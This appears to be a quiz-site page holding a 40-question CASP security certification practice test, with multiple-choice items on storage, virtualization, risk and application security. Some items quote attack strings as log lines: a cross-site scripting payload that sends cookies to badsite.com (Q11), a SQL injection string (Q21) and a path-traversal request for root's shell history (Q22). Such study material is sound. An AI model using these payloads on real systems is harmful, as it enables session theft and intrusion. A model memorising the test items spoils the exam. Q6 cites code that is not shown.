Quiz
CASP PreTest #1
Create a free account to finish this quiz
Save your progress and see your final score.
Already have an account? Sign in
Questions in this quiz (40)
1An administrator wants to enable policy based flexible mandatory access controls on an open source OS to prevent abnormal application modifications or executions. Which of the following would BEST accomplish this?
- AAccess control lists
- BSELinux
- CIPtables firewall
- DHIPS
2
Company ABC’s SAN is nearing capacity, and will cause costly downtimes if servers run out disk space. Which of the following is a more cost effective alternative to buying a new SAN?- AEnable multipath to increase availability
- BEnable deduplication on the storage pools
- CImplement snapshots to reduce virtual disk size
- DImplement replication to offsite datacenter
3A systems administrator establishes a CIFS share on a UNIX device to share data to Windows systems. The security authentication on the Windows domain is set to the highest level. Windows users are stating that they cannot authenticate to the UNIX share. Which of the following settings on the UNIX server would correct this problem?
- ARefuse LM and only accept NTLMv2
- BAccept only LM
- CRefuse NTLMv2 and accept LM
- DAccept only NTLM
4A security architect is designing a new infrastructure using both type 1 and type 2 virtual machines. In addition to the normal complement of security controls (e.g. antivirus, host hardening, HIPS/NIDS) the security architect needs to implement a mechanism to securely store cryptographic keys used to sign code and code modules on the VMs. Which of the following will meet this goal without requiring any hardware pass-through implementations?
- AvTPM
- BHSM
- CTPM
- DINE
5A user has a laptop configured with multiple operating system installations. The operating systems are all installed on a single SSD, but each has its own partition and logical volume. Which of the following is the BEST way to ensure confidentiality of individual operating system data?
- AEncryption of each individual partition
- BEncryption of the SSD at the file level
- CFDE of each logical volume on the SSD
- DFDE of the entire SSD as a single disk
6
After being notified of an issue with the online shopping cart, where customers are able to arbitrarily change the price of listed items, a programmer analyzes the following piece of code used by a web based shopping cart.
The programmer found that every time a user adds an item to the cart, a temporary file is created on the web server /tmp directory. The temporary file has a name which is generated by concatenating the content of the $USERINPUT variable and a timestamp in the form of MM-DD- YYYY, (e.g. smartphone-12-25-2013.tmp) containing the price of the item being purchased. Which of the following is MOST likely being exploited to manipulate the price of a shopping cart’s items?- AInput validation
- BSQL injection
- CTOCTOU
- DSession hijacking
7The administrator is troubleshooting availability issues on an FCoE-based storage array that uses deduplication. The single controller in the storage array has failed, so the administrator wants to move the drives to a storage array from a different manufacturer in order to access the data. Which of the following issues may potentially occur?
- AThe data may not be in a usable format.
- BThe new storage array is not FCoE based.
- CThe data may need a file system check.
- DThe new storage array also only has a single controller.
8Joe, a hacker, has discovered he can specifically craft a webpage that when viewed in a browser crashes the browser and then allows him to gain remote code execution in the context of the victim’s privilege level. The browser crashes due to an exception error when a heap memory that is unused is accessed. Which of the following BEST describes the application issue?
- AInteger overflow
- BClick-jacking
- CRace condition
- DSQL injection
- EUse after free
- FInput validation
9
A developer is determining the best way to improve security within the code being developed. The developer is focusing on input fields where customers enter their credit card details. Which of the following techniques, if implemented in the code, would be the MOST effective in protecting the fields from malformed input?- AClient side input validation
- BStored procedure
- CEncrypting credit card details
- DRegular expression matching
10A security administrator was doing a packet capture and noticed a system communicating with an unauthorized address within the 2001::/32 prefix. The network administrator confirms there is no IPv6 routing into or out of the network. Which of the following is the BEST course of action?
- AInvestigate the network traffic and block UDP port 3544 at the firewall
- BRemove the system from the network and disable IPv6 at the router
- CLocate and remove the unauthorized 6to4 relay from the network
- DDisable the switch port and block the 2001::/32 traffic at the firewall
11A security administrator notices the following line in a server's security log:
<input name='credentials' type='TEXT' value='" + request.getParameter('><script>document.location='http://badsite.com/?q='document.cookie</scri pt>') + "';
The administrator is concerned that it will take the developer a lot of time to fix the application that is running on the server. Which of the following should the security administrator implement to prevent this particular attack?- AWAF
- BInput validation
- CSIEM
- DSandboxing
- EDAM
12A popular commercial virtualization platform allows for the creation of virtual hardware. To virtual machines, this virtual hardware is indistinguishable from real hardware. By implementing virtualized TPMs, which of the following trusted system concepts can be implemented?
- ASoftware-based root of trust
- BContinuous chain of trust
- CChain of trust with a hardware root of trust
- DSoftware-based trust anchor with no root of trust
13An organization is concerned with potential data loss in the event of a disaster, and created a backup datacenter as a mitigation strategy. The current storage method is a single NAS used by all servers in both datacenters. Which of the following options increases data availability in the event of a datacenter failure?
- AReplicate NAS changes to the tape backups at the other datacenter.
- BEnsure each server has two HBAs connected through two routes to the NAS.
- CEstablish deduplication across diverse storage paths.
- DEstablish a SAN that replicates between datacenters.
14
An application present on the majority of an organization’s 1,000 systems is vulnerable to a buffer overflow attack. Which of the following is the MOST comprehensive way to resolve the issue?- ADeploy custom HIPS signatures to detect and block the attacks.
- BValidate and deploy the appropriate patch.
- CRun the application in terminal services to reduce the threat landscape.
- DDeploy custom NIPS signatures to detect and block the attacks.
15select id, firstname, lastname from authors User input= firstname= Hack;man
lastname=Johnson
Which of the following types of attacks is the user attempting?- AXML injection
- BCommand injection
- CCross-site scripting
- DSQL injection
16A government agency considers confidentiality to be of utmost importance and availability issues to be of least importance. Knowing this, which of the following correctly orders various vulnerabilities in the order of MOST important to LEAST important?
- AInsecure direct object references, CSRF, Smurf
- BPrivilege escalation, Application DoS, Buffer overflow
- CSQL injection, Resource exhaustion, Privilege escalation
- DCSRF, Fault injection, Memory leaks
17A security administrator wants to deploy a dedicated storage solution which is inexpensive, can natively integrate with AD, allows files to be selectively encrypted and is suitable for a small number of users at a satellite office. Which of the following would BEST meet the requirement?
- ASAN
- BNAS
- CVirtual SAN
- DVirtual storage
18
At 9:00 am each morning, all of the virtual desktops in a VDI implementation become extremely slow and/or unresponsive. The outage lasts for around 10 minutes, after which everything runs properly again. The administrator has traced the problem to a lab of thin clients that are all booted at 9:00 am each morning. Which of the following is the MOST likely cause of the problem and the BEST solution? (Select TWO).- AAdd guests with more memory to increase capacity of the infrastructure.
- BA backup is running on the thin clients at 9am every morning.
- CInstall more memory in the thin clients to handle the increased load while booting.
- DBooting all the lab desktops at the same time is creating excessive I/O.
- EInstall 10-Gb uplinks between the hosts and the lab to increase network capacity.
- FInstall faster SSD drives in the storage system used in the infrastructure.
- GThe lab desktops are saturating the network while booting.
- HThe lab desktops are using more memory than is available to the host systems.
19A security administrator is shown the following log excerpt from a Unix system:
2013 Oct 10 07:14:57 web14 sshd[1632]: Failed password for root from 198.51.100.23 port 37914 ssh2
2013 Oct 10 07:14:57 web14 sshd[1635]: Failed password for root from 198.51.100.23 port 37915 ssh2
2013 Oct 10 07:14:58 web14 sshd[1638]: Failed password for root from 198.51.100.23 port 37916 ssh2
2013 Oct 10 07:15:59 web14 sshd[1640]: Failed password for root from 198.51.100.23 port 37918 ssh2
2013 Oct 10 07:16:00 web14 sshd[1641]: Failed password for root from 198.51.100.23 port 37920 ssh2
2013 Oct 10 07:16:00 web14 sshd[1642]: Successful login for root from 198.51.100.23 port 37924 ssh2
Which of the following is the MOST likely explanation of what is occurring and the BEST immediate response? (Select TWO).- AAn authorized administrator has logged into the root account remotely.
- BThe administrator should disable remote root logins.
- CIsolate the system immediately and begin forensic analysis on the host.
- DA remote attacker has compromised the root account using a buffer overflow in sshd.
- EA remote attacker has guessed the root password using a dictionary attack.
- FUse iptables to immediately DROP connections from the IP 198.51.100.23.
- GA remote attacker has compromised the private key of the root account.
- HChange the root password immediately to a password not found in a dictionary.
20A security administrator wants to prevent sensitive data residing on corporate laptops and desktops from leaking outside of the corporate network. The company has already implemented full-disk encryption and has disabled all peripheral devices on its desktops and laptops. Which of the following additional controls MUST be implemented to minimize the risk of data leakage? (Select TWO).
- AA full-system backup should be implemented to a third-party provider with strong encryption for data in transit.
- BA DLP gateway should be installed at the company border.
- CStrong authentication should be implemented via external biometric devices.
- DFull-tunnel VPN should be required for all network communication.
- EFull-drive file hashing should be implemented with hashes stored on separate storage.
- FSplit-tunnel VPN should be enforced when transferring sensitive data.
21A developer has implemented a piece of client-side JavaScript code to sanitize a user’s provided input to a web page login screen. The code ensures that only the upper case and lower case letters are entered in the username field, and that only a 6-digit PIN is entered in the password field. A security administrator is concerned with the following web server log:
10.235.62.11 – - [02/Mar/2014:06:13:04] “GET /site/script.php?user=admin&pass=pass%20or%201=1 HTTP/1.1” 200 5724
Given this log, which of the following is the security administrator concerned with and which fix should be implemented by the developer?- AThe security administrator is concerned with nonprintable characters being used to gain administrative access, and the developer should strip all nonprintable characters.
- BThe security administrator is concerned with XSS, and the developer should normalize Unicode characters on the browser side.
- CThe security administrator is concerned with SQL injection, and the developer should implement server side input validation.
- DThe security administrator is concerned that someone may log on as the administrator, and the developer should ensure strong passwords are enforced
22
The security administrator finds unauthorized tables and records, which were not present before, on a Linux database server. The database server communicates only with one web server, which connects to the database server via an account with SELECT only privileges. Web server logs show the following:
90.76.165.40 – - [08/Mar/2014:10:54:04] “GET calendar.php?create%20table%20hidden HTTP/1.1” 200 5724
90.76.165.40 – - [08/Mar/2014:10:54:05] “GET ../../../root/.bash_history HTTP/1.1” 200 5724
90.76.165.40 – - [08/Mar/2014:10:54:04] “GET index.php?user=<script>Create</script> HTTP/1.1” 200 5724
The security administrator also inspects the following file system locations on the database server using the command ‘ls -al /root’
drwxrwxrwx 11 root root 4096 Sep 28 22:45 . drwxr-xr-x 25 root root 4096 Mar 8 09:30 ..
-rws------ 25 root root 4096 Mar 8 09:30 .bash_history -rw------- 25 root root 4096 Mar 8 09:30 .bash_history -rw------- 25 root root 4096 Mar 8 09:30 .profile -rw------- 25 root root 4096 Mar 8 09:30 .ssh
Which of the following attacks was used to compromise the database server and what can the security administrator implement to detect such attacks in the future? (Select TWO).- APrivilege escalation
- BBrute force attack
- CSQL injection
- DCross-site scripting
- EUsing input validation, ensure the following characters are sanitized: <>
- FUpdate crontab with: find / \( -perm -4000 \) –type f –print0 | xargs -0 ls –l | email.sh
- GImplement the following PHP directive: $clean_user_input = addslashes($user_input)
- HSet an account lockout policy
23The risk manager has requested a security solution that is centrally managed, can easily be updated, and protects end users' workstations from both known and unknown malicious attacks when connected to either the office or home network. Which of the following would BEST meet this requirement?
- AHIPS
- BUTM
- CAntivirus
- DNIPS
- EDLP
24Which of the following describes a risk and mitigation associated with cloud data storage?
- ARisk: Shared hardware caused data leakage Mitigation: Strong encryption at rest
- BRisk: Offsite replication
Mitigation: Multi-site backups - CRisk: Data loss from de-duplication
Mitigation: Dynamic host bus addressing - DRisk: Combined data archiving
Mitigation: Two-factor administrator authentication
25
An insurance company is looking to purchase a smaller company in another country. Which of the following tasks would the security administrator perform as part of the security due diligence?- AReview switch and router configurations
- BReview the security policies and standards
- CPerform a network penetration test
- DReview the firewall rule set and IPS logs
26A new piece of ransomware got installed on a company’s backup server which encrypted the hard drives containing the OS and backup application configuration but did not affect the deduplication data hard drives. During the incident response, the company finds that all backup tapes for this server are also corrupt. Which of the following is the PRIMARY concern?
- ADetermining how to install HIPS across all server platforms to prevent future incidents
- BPreventing the ransomware from re-infecting the server upon restore
- CValidating the integrity of the deduplicated data
- DRestoring the data will be difficult without the application configuration
27The Chief Executive Officer (CEO) of a large prestigious enterprise has decided to reduce business costs by outsourcing to a third party company in another country. Functions to be outsourced include: business analysts, testing, software development and back office functions that deal with the processing of customer data. The Chief Risk Officer (CRO) is concerned about the outsourcing plans. Which of the following risks are MOST likely to occur if adequate controls are not implemented?
- AGeographical regulation issues, loss of intellectual property and interoperability agreement issues
- BImproper handling of client data, interoperability agreement issues and regulatory issues
- CCultural differences, increased cost of doing business and divestiture issues
- DImproper handling of customer data, loss of intellectual property and reputation damage
28
A security analyst has been asked to develop a quantitative risk analysis and risk assessment for the company’s online shopping application. Based on heuristic information from the Security Operations Center (SOC), a Denial of Service Attack (DoS) has been successfully executed 5 times a year. The Business Operations department has determined the loss associated to each attack is $40,000. After implementing application caching, the number of DoS attacks was reduced to one time a year. The cost of the countermeasures was $100,000. Which of the following is the monetary value earned during the first year of operation?- A$60,000
- B$100,000
- C$140,000
- D$200,000
29
The Information Security Officer (ISO) is reviewing new policies that have been recently made effective and now apply to the company. Upon review, the ISO identifies a new requirement to implement two-factor authentication on the company’s wireless system. Due to budget constraints, the company will be unable to implement the requirement for the next two years. The ISO is required to submit a policy exception form to the Chief Information Officer (CIO). Which of the following are MOST important to include when submitting the exception form? (Select THREE).- ABusiness or technical justification for not implementing the requirements.
- BRisks associated with the inability to implement the requirements.
- CIndustry best practices with respect to the technical implementation of the current controls.
- DAll sections of the policy that may justify non-implementation of the requirements.
- EA revised DRP and COOP plan to the exception form.
- FInternal procedures that may justify a budget submission to implement the new requirement.
- GCurrent and planned controls to mitigate the risks.
30The Chief Information Officer (CIO) is reviewing the IT centric BIA and RA documentation. The documentation shows that a single 24 hours downtime in a critical business function will cost the business $2.3 million. Additionally, the business unit which depends on the critical business function has determined that there is a high probability that a threat will materialize based on historical data. The CIO’s budget does not allow for full system hardware replacement in case of a catastrophic failure, nor does it allow for the purchase of additional compensating controls. Which of the following should the CIO recommend to the finance director to minimize financial loss?
- AThe company should mitigate the risk.
- BThe company should transfer the risk.
- CThe company should avoid the risk.
- DThe company should accept the risk.
31A company is in the process of outsourcing its customer relationship management system to a cloud provider. It will host the entire organization’s customer database. The database will be accessed by both the company’s users and its customers. The procurement department has asked what security activities must be performed for the deal to proceed. Which of the following are the MOST appropriate security activities to be performed as part of due diligence? (Select TWO).
- APhysical penetration test of the datacenter to ensure there are appropriate controls.
- BPenetration testing of the solution to ensure that the customer data is well protected.
- CSecurity clauses are implemented into the contract such as the right to audit.
- DReview of the organizations security policies, procedures and relevant hosting certifications.
- ECode review of the solution to ensure that there are no back doors located in the software.
32
An organization is selecting a SaaS provider to replace its legacy, in house Customer Resource Management (CRM) application. Which of the following ensures the organization mitigates the risk of managing separate user credentials?- AEnsure the SaaS provider supports dual factor authentication.
- BEnsure the SaaS provider supports encrypted password transmission and storage.
- CEnsure the SaaS provider supports secure hash file exchange.
- DEnsure the SaaS provider supports role-based access control.
- EEnsure the SaaS provider supports directory services federation.
33After a security incident, an administrator would like to implement policies that would help reduce fraud and the potential for collusion between employees. Which of the following would help meet these goals by having co-workers occasionally audit another worker's position?
- ALeast privilege
- BJob rotation
- CMandatory vacation
- DSeparation of duties
34A large organization has recently suffered a massive credit card breach. During the months of Incident Response, there were multiple attempts to assign blame for whose fault it was that the incident occurred. In which part of the incident response phase would this be addressed in a controlled and productive manner?
- ADuring the Identification Phase
- BDuring the Lessons Learned phase
- CDuring the Containment Phase
- DDuring the Preparation Phase
35A security manager for a service provider has approved two vendors for connections to the service provider backbone. One vendor will be providing authentication services for its payment card service, and the other vendor will be providing maintenance to the service provider infrastructure sites. Which of the following business agreements is MOST relevant to the vendors and service provider’s relationship?
- AMemorandum of Agreement
- BInterconnection Security Agreement
- CNon-Disclosure Agreement
- DOperating Level Agreement
36A large enterprise acquires another company which uses antivirus from a different vendor. The CISO has requested that data feeds from the two different antivirus platforms be combined in a way that allows management to assess and rate the overall effectiveness of antivirus across the entire organization. Which of the following tools can BEST meet the CISO’s requirement?
- AGRC
- BIPS
- CCMDB
- DSyslog-ng
- EIDS
37
Which of the following provides the BEST risk calculation methodology?- AAnnual Loss Expectancy (ALE) x Value of Asset
- BPotential Loss x Event Probability x Control Failure Probability
- CImpact x Threat x Vulnerability
- DRisk Likelihood x Annual Loss Expectancy (ALE)
38
A security policy states that all applications on the network must have a password length of eight characters. There are three legacy applications on the network that cannot meet this policy. One system will be upgraded in six months, and two are not expected to be upgraded or removed from the network. Which of the following processes should be followed?- AEstablish a risk matrix
- BInherit the risk for six months
- CProvide a business justification to avoid the risk
- DProvide a business justification for a risk exception
39
The senior security administrator wants to redesign the company DMZ to minimize the risks associated with both external and internal threats. The DMZ design must support security in depth, change management and configuration processes, and support incident reconstruction. Which of the following designs BEST supports the given requirements?- AA dual firewall DMZ with remote logging where each firewall is managed by a separate administrator.
- BA single firewall DMZ where each firewall interface is managed by a separate administrator and logging to the cloud.
- CA SaaS based firewall which logs to the company’s local storage via SSL, and is managed by the change control team.
- DA virtualized firewall, where each virtual instance is managed by a separate administrator and logging to the same hardware.
40A large hospital has implemented BYOD to allow doctors and specialists the ability to access patient medical records on their tablets. The doctors and specialists access patient records over the hospital’s guest WiFi network which is isolated from the internal network with appropriate security controls. The patient records management system can be accessed from the guest network and requires two factor authentication. Using a remote desktop type interface, the doctors and specialists can interact with the hospital’s system. Cut and paste and printing functions are disabled to prevent the copying of data to BYOD devices. Which of the following are of MOST concern? (Select TWO).
- APrivacy could be compromised as patient records can be viewed in uncontrolled areas.
- BDevice encryption has not been enabled and will result in a greater likelihood of data loss.
- CThe guest WiFi may be exploited allowing non-authorized individuals access to confidential patient data.
- DMalware may be on BYOD devices which can extract data via key logging and screen scrapes.
- ERemote wiping of devices should be enabled to ensure any lost device is rendered inoperable.
Information
- Description
- CASP PreTest study material
- Author
- michael smith0754
- Language
- English
- Views
- 118
- Tags
- Rating
- 3.0 out of 5 · 1 rating Rate this quiz